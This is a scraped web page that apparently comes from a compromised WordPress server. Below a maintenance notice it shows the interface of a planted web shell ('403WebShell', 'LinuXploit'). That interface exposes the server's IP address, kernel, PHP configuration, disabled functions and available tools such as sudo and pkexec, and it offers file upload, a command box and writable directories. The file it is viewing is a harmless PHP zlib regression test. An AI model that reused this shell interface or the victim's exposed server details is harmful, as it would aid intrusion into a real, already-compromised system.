WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/zlib/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/zlib/tests/bug75273.phpt
--TEST--
Bug #75273 (php_zlib_inflate_filter() may not update bytes_consumed)
--SKIPIF--
<?php
if (!extension_loaded('zlib')) die('skip zlib extension not available');
?>
--FILE--
<?php
function non_repeating_str($len = 8192) {
	$ret = '';
	mt_srand(1);
	$iterations = (int) ($len / 256) + 1;
	for ($i = 0; $i < $iterations; $i++) {
		$haves = array();
		$cnt = 0;
		while ($cnt < 256) {
			$j = mt_rand(0, 255);
			if (!isset($haves[$j])) {
				$haves[$j] = $j;
				$cnt++;
				$ret .= chr($j);
			}
		}
	}
	return substr($ret, 0, $len);
}

$base_len = 32768 - 23 /*overhead*/;

$stream = fopen('php://memory', 'rb+');

for ($i = 1; $i <= 8; $i++) {
	$in_data = non_repeating_str($base_len + $i);

	$deflate_filter = stream_filter_append($stream, 'zlib.deflate',  STREAM_FILTER_WRITE, ['window' => 16 + 15]);
	rewind($stream);
	fwrite($stream, $in_data);
	stream_filter_remove($deflate_filter);

	rewind($stream);
	$out_data = stream_get_contents($stream);
	$out_data_len = strlen($out_data);

	$inflate_filter = stream_filter_prepend($stream, 'zlib.inflate',  STREAM_FILTER_WRITE, ['window' => 16 + 15]);
	rewind($stream);
	$fwrite_len = fwrite($stream, $out_data);
	stream_filter_remove($inflate_filter);

	if ($out_data_len !== $fwrite_len) {
		echo "bug i=$i out_data_len=$out_data_len fwrite_len=$fwrite_len\n";
	}
}

fclose($stream);
?>
===DONE===
--EXPECT--
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit